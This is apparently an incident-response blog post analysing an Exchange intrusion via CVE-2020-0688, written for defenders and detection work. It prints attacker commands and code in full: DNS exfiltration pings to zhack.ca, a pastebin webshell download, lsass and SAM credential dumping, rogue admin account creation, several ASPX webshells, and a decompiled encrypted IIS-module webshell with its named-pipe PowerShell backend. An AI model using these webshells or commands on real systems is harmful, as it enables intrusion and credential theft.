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2020

Abstract

 

In this blog I describe a recent intrusion that started with the exploit of CVE-2020-0688. Microsoft released a patch for this vulnerability on 11 February 2020. In order for this exploit to work, an authenticated account is needed to be able to make requests against the Exchange Control Panel (ECP). Some organizations may still have not patched for this vulnerability for various reasons, such as prolonged change request procedures. One false sense of "comfort" for delaying this patch for some organizations could be the fact that an authenticated account is needed to execute the exploit. However, harvesting a set of credentials from an organization is typically fairly easy, either via a credential harvesting email, or via a simple dictionary attack against the exchange server. Details on the technical aspects of this exploit have been widely described on various sites. So, in this blog I will briefly describe the exploit artifacts, and then jump into the actual activity that followed the exploit, including an interesting webshell that utilizes pipes for command execution. I will then describe how to decrypt the communication over this webshell. Finally, I will highlight some of the detection mechanisms that are native to the Netwitness Platform that will alert your organization to such activity.

 

Exchange Exploit - CVE-2020-0688

 

The first sign of the exploit started on 26 February 2020. The attacker leveraged the credentials of an account it had already compromised to authenticate to OWA. An attacker could acquire such accounts either by guessing passwords due to poor password policy, or by preceding the exploit with a credential harvesting attack. Once the at least one set of credentials has been acquired, the attacker can start to issue commands via the exploit against ECP. The IIS logs contain these commands, and they can be easily decoded via a two-step process: URL Decode -> Base64 Decode.

 

IIS log entry of exploit code

 

The following Cyberchef recipe helps us decode the highlighted exploit code:

https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true)

 

The highlighted encoded data above decodes to the following where we see the attacker attempt to echo the string 'flogon' into a file named flogon2.js in one of the public facing Exchange folders:

 

Decoded exploit command

 

The attacker performed two more exploit success checks by launching an ftp command to anonymously login to IP address 185.25.51.71, followed by a ping request to a Burp Collaborator domain:

 

Exploit-success checks

 

The attacker returned on 29 February 2020 to attempt to establish persistence on the Exchange servers (multiple servers were load balanced). The exploit commands once again started with pings to Burp Collaborator domains and FTP connection attempts to IP address 185.25.51.71 to ensure that the server was still exploitable. These were followed up by commands to write simple strings into files in the Exchange directories, as shown below:

 

Exploit success checks

 

The attacker also attempted to create a local user account named “public” with password “Asp-=14789’’ via the exploit, and attempted to add this account to the local administrators group. These two actions failed.

 

Attacker commands
cmd /c net user public Asp-=14789 /add
cmd /c net localgroup administrators public /add

   

The attacker issued several ping requests to subdomains under zhack.ca, which is a site that can be freely used to test data exfiltration over DNS. In these commands, the DNS resolution itself is what enables the sending of data to the attacker. Again, the attacker appears to have been trying to see if the exploit commands were successful, and these DNS requests would have confirmed the success of the exploit commands.

 

Here is what the attacker would have seen if the requests were successful:

 

DNSBin RSA test

 

Here are some of the generic domain names the attacker tried:

 

zhack.ca pings
ping –n 1 asd.ddb8d339493dc0834c6f.d.zhack.ca
ping –n 1 mydatahere.9234b19e99d260b486b5.d.zhack.ca
ping –n 1 asasdd.ddb8d339493dc0834c6f.d.zhack.ca

 

After confirming that the DNS requests were being made, the attacker then started concatenating the output of Powershell commands to these DNS requests in order to see the result of the commands. It is worth mentioning here that at this point the attacker was still executing commands via the exploit, and while the commands did execute, the attacker did not have a way to see the results of such attempts. Hence, initially the attacker wrote some output to files as shown above (such as flogon2.txt), or in this case sending the output of the commands via DNS lookups. So, for example, the attacker tried commands such as:

 

Concatenating Powershell command results to DNS queries

 

powershell Resolve-DnsName((test-netconnection google.com -port 443 -informationlevel quiet).toString()+'.1.0d7a5e6cf01310fe3fd5.d.zhack.ca')

powershell Resolve-DnsName((test-path 'c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth').toString()+$env:computername+'.2.0d7a5e6cf01310fe3fd5.d.zhack.ca')

 

These types of request would have confirmed that the server is allowed to connect outbound to the Internet (by being able to reach google.com), test the existence of the specified path, and sent the hostname to the attacker. 

 

Exploit command output exfiled via DNS

 

Entrenchment

 

Once the attacker confirmed that the server(s) could reach the Internet and verified the Exchange path, he/she issued a command via the exploit to download a webshell hosted at pastebin into this directory under a file named OutlookDN.aspx (I am redacting the full pastebin link to prevent the hijacking of such webshells on other potential victims by other actors, since the webshell is password protected):

 

Webshell Upload via Exploit
powershell (New-Object System.Net.WebClient).DownloadFile('http://pastebin.com/raw/**REDACTED**','C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\OutlookDN.aspx')

 

The webshell code downloaded from pastebin is shown below:

 

Content of OutlookDN.aspx webshell
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="whoami" />
<asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
Process p = new Process();
p.StartInfo.FileName = "cmd";
p.StartInfo.Arguments = "/c " + cmd.Text;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
Response.Write("<pre>\r\n"+p.StandardOutput.ReadToEnd() +"\r\n</pre>");
p.Close();
}
protected void Page_Load(object sender, EventArgs e)
{
if (Request.Params["pw"]!="*******REDACTED********") Response.End();
}
</script>

 

At this point the exploit was no longer necessary since this webshell was now directly accessible and the results of the commands were displayed back to the attacker. The attacker proceeded to execute commands via this webshell and upload other webshells from this point forward. One of the other uploaded webshells is shown below:

 

Webshell 2
powershell [System.IO.File]::WriteAllText('c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\a.aspx',[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiU+PCVTeXN0ZW0uSU8uRmlsZS5Xcml0ZUFsbEJ5dGVzKFJlcXVlc3RbInAiXSxDb252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoUmVxdWVzdC5Db29raWVzWyJjIl0uVmFsdWUpKTslPgo=')))

The webshell code decoded from above is:

 

<%@ Page Language="C#"%><%System.IO.File.WriteAllBytes(Request["p"],Convert.FromBase64String(Request.Cookies["c"].Value));%>

 

At this point the attacker performed some of the most common activities that attackers perform during the early stages of the compromise. Namely, credential harvesting,  user and group lookups, some pings and directory traversals.

 

The credential harvesting consisted of several common techniques:

 

Credential harvesting related activity

Used SysInternal’s ProcDump (pr.exe) to dump the lsass.exe process memory:

cmd.exe /c pr.exe -accepteula -ma lsass.exe lsasp

Used the comsvcs.dll technique to dump the lsass.exe process memory:

cmd /c tasklist | findstr lsass.exe
cmd.exe /c rundll32.exe c:\windows\system32\comsvcs.dll, Minidump 944 c:\windows\temp\temp.dmp full

Obtained copies of the SAM and SYSTEM hives for the purpose of harvesting local account password hashes. 

These files were then placed on public facing exchange folders and downloaded directly from the Internet:

cmd /c copy c:\windows\system32\inetsrv\system
"C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\system.js"

cmd /c copy c:\windows\system32\inetsrv\sam
"C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\sam.js"

 

In addition to the traditional ASPX type webshells, the attacker introduced another type of webshell into the Exchange servers. Two files were uploaded under the c:\windows\temp\ folder to setup this new backdoor:

 

C:\windows\temp\System.Web.TransportClient.dll
C:\windows\temp\tmp.ps1

 

File System.Web.TransportClient.dll is webshell, whereas file tmp.ps1 is a script to register this DLL with IIS. The content of this script are shown below:

 

[System.Reflection.Assembly]::Load("System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")            
$publish = New-Object System.EnterpriseServices.Internal.Publish
$name = (gi C:\Windows\Temp\System.Web.TransportClient.dll).FullName
$publish.GacInstall($name)
$type = "System.Web.TransportClient.TransportHandlerModule, " + [System.Reflection.AssemblyName]::GetAssemblyName($name).FullName
c:\windows\system32\inetsrv\Appcmd.exe add module /name:TransportModule /type:"$type"

 

The decompiled code of the DLL is shown below (I am only showing part of the AES encryption key, to once again prevent the hijacking of such a webshell):

 

using System.Diagnostics;
using System.IO;
using System.IO.Pipes;
using System.Security.Cryptography;
using System.Text;
namespace System.Web.TransportClient
{
public class TransportHandlerModule : IHttpModule
{
public void Init(HttpApplication application)
{
application.BeginRequest += new EventHandler(this.Application_EndRequest);
}
private void Application_EndRequest(object source, EventArgs e)
{
HttpContext context = ((HttpApplication) source).Context;
HttpRequest request = context.Request;
HttpResponse response = context.Response;
string keyString = "kByTsFZq********nTzuZDVs********";
string cipherData1 = request.Params[keyString.Substring(0, 8)];
string cipherData2 = request.Params[keyString.Substring(16, 8)];
if (cipherData1 != null)
{
response.ContentType = "text/plain";
string plain;
try
{
string command = TransportHandlerModule.Decrypt(cipherData1, keyString);
plain = cipherData2 != null ? TransportHandlerModule.Client(command, TransportHandlerModule.Decrypt(cipherData2, keyString)) : TransportHandlerModule.run(command);
}
catch (Exception ex)
{
plain = "error:" + ex.Message + " " + ex.StackTrace;
}
response.Write(TransportHandlerModule.Encrypt(plain, keyString));
response.End();
}
else
context.Response.DisableKernelCache();
}
private static string Encrypt(string plain, string keyString)
{
byte[] bytes1 = Encoding.UTF8.GetBytes(keyString);
byte[] salt = new byte[10]
{
(byte) 1,
(byte) 2,
(byte) 23,
(byte) 234,
(byte) 37,
(byte) 48,
(byte) 134,
(byte) 63,
(byte) 248,
(byte) 4
};
byte[] bytes2 = new Rfc2898DeriveBytes(keyString, salt).GetBytes(16);
RijndaelManaged rijndaelManaged1 = new RijndaelManaged();
rijndaelManaged1.Key = bytes1;
rijndaelManaged1.IV = bytes2;
rijndaelManaged1.Mode = CipherMode.CBC;
using (RijndaelManaged rijndaelManaged2 = rijndaelManaged1)
{
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged2.CreateEncryptor(bytes1, bytes2), CryptoStreamMode.Write))
{
byte[] bytes3 = Encoding.UTF8.GetBytes(plain);
memoryStream.Write(bytes2, 0, bytes2.Length);
cryptoStream.Write(bytes3, 0, bytes3.Length);
cryptoStream.Close();
return Convert.ToBase64String(memoryStream.ToArray());
}
}
}
}
private static string Decrypt(string cipherData, string keyString)
{
byte[] bytes = Encoding.UTF8.GetBytes(keyString);
byte[] buffer = Convert.FromBase64String(cipherData);
byte[] rgbIV = new byte[16];
Array.Copy((Array) buffer, 0, (Array) rgbIV, 0, 16);
RijndaelManaged rijndaelManaged1 = new RijndaelManaged();
rijndaelManaged1.Key = bytes;
rijndaelManaged1.IV = rgbIV;
rijndaelManaged1.Mode = CipherMode.CBC;
using (RijndaelManaged rijndaelManaged2 = rijndaelManaged1)
{
using (MemoryStream memoryStream = new MemoryStream(buffer, 16, buffer.Length - 16))
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged2.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Read))
return new StreamReader((Stream) cryptoStream).ReadToEnd();
}
}
}
private static string run(string command)
{
string str = "/c " + command;
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = str;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
return process.StandardOutput.ReadToEnd();
}
private static string Client(string command, string path)
{
string pipeName = "splsvc";
string serverName = ".";
Console.WriteLine("sending to : " + serverName + ", path = " + path);
using (NamedPipeClientStream pipeClientStream = new NamedPipeClientStream(serverName, pipeName))
{
pipeClientStream.Connect(1500);
StreamWriter streamWriter = new StreamWriter((Stream) pipeClientStream);
streamWriter.WriteLine(path);
streamWriter.WriteLine(command);
streamWriter.WriteLine("**end**");
streamWriter.Flush();
return new StreamReader((Stream) pipeClientStream).ReadToEnd();
}
}
public void Dispose()
{
}
}
}

 

The registered DLL shows up in the IIS Modules as TransportModule:

 

IIS Module Installation

 

This DLL webshell is capable of executing commands directly via cmd.exe, or send the command to a pipe named splsvc. In this setup, the DLL acts as the pipe client, i.e. it sends data to the named pipe. In order to setup the other side of the pipe (i.e. the server side of the pipe), the attacker executed this command:

 

cmd.exe /c WMIC /node:"." process call create "powershell -enc
JABzAGMAcgBpAHAAdAAgAD0AIAB7AAoACQAkAHAAaQBwAGUATgBhAG0AZQAgAD0AIAAnAHMAcABsAHMAdgBjACcACgAJACQAYwBtAGQAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAHQAZQByACAAIgBoAGEAbgBkAGwAZQAgAD0AIAAkAHAAaQBkACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlAAoACQAkAGwAaQBzAHQAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACQAXwAuAEMAbwBtAG0AYQBuAGQATABpAG4AZQAgAC0AZQBxACAAJABjAG0AZAAgAC0AYQBuAGQAIAAkAF8ALgBIAGEAbgBkAGwAZQAgAC0AbgBlACAAJABwAGkAZAB9ACAACgAJAGkAZgAgACgAJABsAGkAcwB0AC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAApACAAewAKAAkACQAkAGwAaQBzAHQAIAB8ACAAZgBvAHIAZQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAALQBwAHIAbwBjAGUAcwBzACAAewBzAHQAbwBwAC0AcAByAG8AYwBlAHMAcwAgAC0AaQBkACAAJABfAC4ASABhAG4AZABsAGUAfQAKAAkAfQAKAAkAZgB1AG4AYwB0AGkAbwBuACAAaABhAG4AZABsAGUAQwBvAG0AbQBhAG4AZAAoACkAIAB7AAoACQAJAHcAaABpAGwAZQAgACgAJAB0AHIAdQBlACkAIAB7AAoACQAJAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAYwByAGUAYQB0AGUAIABwAGkAcABlACAAcwBlAHIAdgBlAHIAIgAKAAkACQAJACQAcwBpAGQAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBTAGUAYwB1AHIAaQB0AHkASQBkAGUAbgB0AGkAZgBpAGUAcgAoAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAZQBsAGwASwBuAG8AdwBuAFMAaQBkAFQAeQBwAGUAXQA6ADoAVwBvAHIAbABkAFMAaQBkACwAIAAkAE4AdQBsAGwAKQAKAAkACQAJACQAUABpAHAAZQBTAGUAYwB1AHIAaQB0AHkAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABpAHAAZQBzAC4AUABpAHAAZQBTAGUAYwB1AHIAaQB0AHkACgAJAAkACQAkAEEAYwBjAGUAcwBzAFIAdQBsAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABpAHAAZQBzAC4AUABpAHAAZQBBAGMAYwBlAHMAcwBSAHUAbABlACgAIgBFAHYAZQByAHkAbwBuAGUAIgAsACAAIgBGAHUAbABsAEMAbwBuAHQAcgBvAGwAIgAsACAAIgBBAGwAbABvAHcAIgApAAoACQAJAAkAJABQAGkAcABlAFMAZQBjAHUAcgBpAHQAeQAuAFMAZQB0AEEAYwBjAGUAcwBzAFIAdQBsAGUAKAAkAEEAYwBjAGUAcwBzAFIAdQBsAGUAKQAKAAkACQAJACQAcABpAHAAZQAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGkAcABlAHMALgBOAGEAbQBlAGQAUABpAHAAZQBTAGUAcgB2AGUAcgBTAHQAcgBlAGEAbQAgACQAcABpAHAAZQBOAGEAbQBlACwAIAAnAEkAbgBPAHUAdAAnACwAIAA2ADAALAAgACcAQgB5AHQAZQAnACwAIAAnAE4AbwBuAGUAJwAsACAAMwAyADcANgA4ACwAIAAzADIANwA2ADgALAAgACQAUABpAHAAZQBTAGUAYwB1AHIAaQB0AHkACgAJAAkACQAjACQAcABpAHAAZQAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGkAcABlAHMALgBOAGEAbQBlAGQAUABpAHAAZQBTAGUAcgB2AGUAcgBTAHQAcgBlAGEAbQAgACQAcABpAHAAZQBOAGEAbQBlACwAIAAnAEkAbgBPAHUAdAAnACwAIAA2ADAACgAJAAkACQAkAHAAaQBwAGUALgBXAGEAaQB0AEYAbwByAEMAbwBuAG4AZQBjAHQAaQBvAG4AKAApAAoACQAJAAkAJAByAGUAYQBkAGUAcgAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoACQAcABpAHAAZQApADsACgAJAAkACQAkAHcAcgBpAHQAZQByACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFcAcgBpAHQAZQByACgAJABwAGkAcABlACkAOwAKAAoACQAJAAkAJABwAGEAdABoACAAPQAgACQAcgBlAGEAZABlAHIALgBSAGUAYQBkAEwAaQBuAGUAKAApADsACgAJAAkACQAkAGQAYQB0AGEAIAA9ACAAJwAnACAACgAJAAkACQB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApACAAewAKAAkACQAJAAkAJABsAGkAbgBlACAAPQAgACQAcgBlAGEAZABlAHIALgBSAGUAYQBkAEwAaQBuAGUAKAApAAoACQAJAAkACQBpAGYAIAAoACQAbABpAG4AZQAgAC0AZQBxACAAJwAqACoAZQBuAGQAKgAqACcAKQAgAHsACgAJAAkACQAJAAkAYgByAGUAYQBrAAoACQAJAAkACQB9AAoACQAJAAkACQAkAGQAYQB0AGEAIAArAD0AIAAkAGwAaQBuAGUAIAArACAAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATgBlAHcATABpAG4AZQAKAAkACQAJAH0ACgAJAAkACQB3AHIAaQB0AGUALQBoAG8AcwB0ACAAJABwAGEAdABoAAoACQAJAAkAdwByAGkAdABlAC0AaABvAHMAdAAgACQAZABhAHQAYQAKAAkACQAJAHQAcgB5ACAAewAKAAkACQAJAAkAJABwAGEAcgB0AHMAIAA9ACAAJABwAGEAdABoAC4AUwBwAGwAaQB0ACgAJwA6ACcAKQAKAAkACQAJAAkAJABpAG4AZABlAHgAIAA9ACAAWwBpAG4AdABdADoAOgBQAGEAcgBzAGUAKAAkAHAAYQByAHQAcwBbADAAXQApAAoACQAJAAkACQBpAGYAIAAoACQAaQBuAGQAZQB4ACAAKwAgADEAIAAtAGUAcQAgACQAcABhAHIAdABzAC4ATABlAG4AZwB0AGgAKQAgAHsACgAJAAkACQAJAAkAJAByAGUAdAB2AGEAbAAgAD0AIABpAGUAeAAgACQAZABhAHQAYQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnAAoACQAJAAkACQB9ACAAZQBsAHMAZQAgAHsACgAJAAkACQAJAAkAJABwAGEAcgB0AHMAWwAwAF0AIAA9ACAAKAAkAGkAbgBkAGUAeAAgACsAIAAxACkALgBUAG8AUwB0AHIAaQBuAGcAKAApAAoACQAJAAkACQAJACQAbgBlAHcAUABhAHQAaAAgAD0AIAAkAHAAYQByAHQAcwAgAC0AagBvAGkAbgAgACcAOgAnAAoACQAJAAkACQAJACQAcgBlAHQAdgBhAGwAIAA9ACAAcwBlAG4AZAAgACQAcABhAHIAdABzAFsAJABpAG4AZABlAHgAIAArACAAMQBdACAAJABuAGUAdwBQAGEAdABoACAAJABkAGEAdABhAAoACQAJAAkACQAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAnAHMAZQBuAGQAIAB0AG8AIABuAGUAeAB0ACcAIAArACAAJAByAGUAdAB2AGEAbAAKAAkACQAJAAkAfQAKAAkACQAJAH0AIABjAGEAdABjAGgAIAB7AAoACQAJAAkACQAkAHIAZQB0AHYAYQBsACAAPQAgACcAZQByAHIAbwByADoAJwAgACsAIAAkAGUAbgB2ADoAYwBvAG0AcAB1AHQAZQByAG4AYQBtAGUAIAArACAAJwA+ACcAIAArACAAJABwAGEAdABoACAAKwAgACcAPgAgACcAIAArACAAJABFAHIAcgBvAHIAWwAwAF0ALgBUAG8AUwB0AHIAaQBuAGcAKAApAAoACQAJAAkAfQAKAAkACQAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAHIAZQB0AHYAYQBsAAoACQAJAAkAJAB3AHIAaQB0AGUAcgAuAFcAcgBpAHQAZQBMAGkAbgBlACgAJAByAGUAdAB2AGEAbAApAAoACQAJAAkAJAB3AHIAaQB0AGUAcgAuAEYAbAB1AHMAaAAoACkACgAJAAkACQAkAHcAcgBpAHQAZQByAC4AQwBsAG8AcwBlACgAKQAKAAkACQB9AAoACQB9AAoACQBmAHUAbgBjAHQAaQBvAG4AIABzAGUAbgBkACgAJABuAGUAeAB0ACwAIAAkAHAAYQB0AGgALAAgACQAZABhAHQAYQApACAAewAKAAkACQB3AHIAaQB0AGUALQBoAG8AcwB0ACAAJwBuAGUAeAB0ACcAIAArACAAJABuAGUAeAB0AAoACQAJAHcAcgBpAHQAZQAtAGgAbwBzAHQAIAAkAHAAYQB0AGgACgAJAAkAJABjAGwAaQBlAG4AdAAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGkAcABlAHMALgBOAGEAbQBlAGQAUABpAHAAZQBDAGwAaQBlAG4AdABTAHQAcgBlAGEAbQAgACQAbgBlAHgAdAAsACAAJABwAGkAcABlAE4AYQBtAGUALAAgACcASQBuAE8AdQB0ACcALAAgACcATgBvAG4AZQAnACwAIAAnAEEAbgBvAG4AeQBtAG8AdQBzACcACgAJAAkAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAKAAxADAAMAAwACkACgAJAAkAJAB3AHIAaQB0AGUAcgAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAYwBsAGkAZQBuAHQAKQAKAAkACQAkAHcAcgBpAHQAZQByAC4AVwByAGkAdABlAEwAaQBuAGUAKAAkAHAAYQB0AGgAKQAKAAkACQAkAHcAcgBpAHQAZQByAC4AVwByAGkAdABlAEwAaQBuAGUAKAAkAGQAYQB0AGEAKQAKAAkACQAkAHcAcgBpAHQAZQByAC4AVwByAGkAdABlAEwAaQBuAGUAKAAnACoAKgBlAG4AZAAqACoAJwApAAoACQAJACQAdwByAGkAdABlAHIALgBGAGwAdQBzAGgAKAApAAoACQAJACQAcgBlAGEAZABlAHIAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKAAkAGMAbABpAGUAbgB0ACkAOwAKAAkACQAkAHIAZQBzAHAAIAA9ACAAJAByAGUAYQBkAGUAcgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQAKAAkACQAkAHIAZQBzAHAACgAJAH0ACgAJACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAHQAbwBwACcACgAJAGgAYQBuAGQAbABlAEMAbwBtAG0AYQBuAGQACgB9AAoASQBuAHYAbwBrAGUALQBDAG8AbQBtAGEAbgBkACAALQBTAGMAcgBpAHAAdABCAGwAbwBjAGsAIAAkAHMAYwByAGkAcAB0AAoA

 

The encoded data in the Powershell command decodes to this script, which sets up the pipe server:

 

$script = {
     $pipeName = 'splsvc'
     $cmd = Get-WmiObject Win32_Process -Filter "handle = $pid" | Select-Object -ExpandProperty commandline
     $list = Get-WmiObject Win32_Process | Where-Object {$_.CommandLine -eq $cmd -and $_.Handle -ne $pid}
     if ($list.length -ge 50) {
          $list | foreach-Object -process {stop-process -id $_.Handle}
     }
     function handleCommand() {
          while ($true) {
               Write-Host "create pipe server"
               $sid = new-object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::WorldSid, $Null)
               $PipeSecurity = new-object System.IO.Pipes.PipeSecurity
               $AccessRule = New-Object System.IO.Pipes.PipeAccessRule("Everyone", "FullControl", "Allow")
               $PipeSecurity.SetAccessRule($AccessRule)
               $pipe = new-object System.IO.Pipes.NamedPipeServerStream $pipeName, 'InOut', 60, 'Byte', 'None', 32768, 32768, $PipeSecurity
               #$pipe = new-object System.IO.Pipes.NamedPipeServerStream $pipeName, 'InOut', 60
               $pipe.WaitForConnection()
               $reader = new-object System.IO.StreamReader($pipe);
               $writer = new-object System.IO.StreamWriter($pipe);

               $path = $reader.ReadLine();
               $data = ''
               while ($true) {
                    $line = $reader.ReadLine()
                    if ($line -eq '**end**') {
                         break
                    }
                    $data += $line + [Environment]::NewLine
               }
               write-host $path
               write-host $data
               try {
                    $parts = $path.Split(':')
                    $index = [int]::Parse($parts[0])
                    if ($index + 1 -eq $parts.Length) {
                         $retval = iex $data | Out-String
                    } else {
                         $parts[0] = ($index + 1).ToString()
                         $newPath = $parts -join ':'
                         $retval = send $parts[$index + 1] $newPath $data
                         Write-Host 'send to next' + $retval
                    }
               } catch {
                    $retval = 'error:' + $env:computername + '>' + $path + '> ' + $Error[0].ToString()
               }
               Write-Host $retval
               $writer.WriteLine($retval)
               $writer.Flush()
               $writer.Close()
          }
     }
     function send($next, $path, $data) {
          write-host 'next' + $next
          write-host $path
          $client = new-object System.IO.Pipes.NamedPipeClientStream $next, $pipeName, 'InOut', 'None', 'Anonymous'
          $client.Connect(1000)
          $writer = new-object System.IO.StreamWriter($client)
          $writer.WriteLine($path)
          $writer.WriteLine($data)
          $writer.WriteLine('**end**')
          $writer.Flush()
          $reader = new-object System.IO.StreamReader($client);
          $resp = $reader.ReadToEnd()
          $resp
     }
     $ErrorActionPreference = 'Stop'
     handleCommand
}
Invoke-Command -ScriptBlock $script

 

From an EDR perspective, the interesting aspect of this type of webshell is that other than the command to setup the pipe server, which is executed via the w3wp.exe process, the rest of the commands are executed via the Powershell command that sets up the pipe server, even though the commands are coming through w3wp.exe process. In fact, once the attacker setup this type of webshell in this intrusion, he/she deleted all of the initial ASPX based webshells.

 

Webshell interaction

 

Although during this incident the pipe webshell was only used on the exchange server itself, it is possible to 

 

Webshell Data Decryption

 

In order to communicate with this webshell, the attacker issued the commands via the /ews/exchange.asmx page. Lets break down the communication with this webshell and highlight some of the characteristics that make it unique. Here is a sample command:

 

Request
POST /ews/exchange.asmx HTTP/1.1
host: webmail.***************.com
content-type: application/x-www-form-urlencoded
content-length: 385
Connection: close
kByTsFZq=t52oDnptrTkTGLPlNYi6U2crOvyn5KhAC2MJegqJ2s5396NZ9ZFqEuN2RHAaaqePvgKuQ7X
%2BPFePh0x3QNXbL9sMnyPkRcA3IvyGbPFbt89cwlmtuPLJdjmCZ%2FDNPacCBeG2PzLV70p2Q0vRiyO
Xzi2NeEo6jcyc5iQAfOFCWPf90OjoEDruADkMgg18JV7hqtBWLsOF1caRW8%2BVcEj0Fii88I9zGYwjd
%2F9Dv3TV4SFKxVvYeVJRr6lTHHO0RIJEGVU5Oa8F%2BkO%2BEQt%2FtS49h8J%2FpjTNShwZOALoLUu
B7Rc%3D&nTzuZDVs=SryqIaK3fpejyDoOdyf9b%2Fi7aBqPAzBL1SUROVuScbc%3D

 

Response
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
X-FEServer: ***************
Date: Sat, 07 Mar 2020 08:10:43 GMT
Content-Length: 1606656

2QfeQaDxyIZD4JjRv7tj0XmEwYRrdN5wFMCj5ROF2vV/7y7WUPkH2S7ZASsoQpNgX7F+aMek0q72blHF
kdKDQFwDVjPr9sBWR2grwHPsXENO2KFKle5i63TAOUzlHgs3LTwuGc/Md41r60l+5ke+xLhIKKXCHZTx
nG9BRHgtefPlFR8BEzlJcWA5SOgo+n29DZjqjhBeenMqL+d+DNECKjXdji8IIr/AsvWoEkiwuv05K04E
cJpjecIUzVKSkcgGmhCoijl5QEN8N32E//NkpfEgq/Rqsytf8xIwSDqUlTqObUwwq0BkOX79mI6WS5Zu
627Rf6z7SNyH+zHe0dEAcBAZDH2sEfyFUe2QQjK8J7M/QBU5vDGj***** REDACTED ******

 

The request to /ews/exchange.asmx is done in lowercase. While there are a couple of email clients that exhibit that same behavior, they could be quickly filtered out, especially when we see that the requests to this webshell do not even contain a user agent. We also notice that several of the other HTTP headers are in lowercase. Namely,

host: vs Host:

content-type: vs Content-Type:

content-length: vs Content-Length:

 

The actual command follows the HTTP headers. Lets break down this command:

 

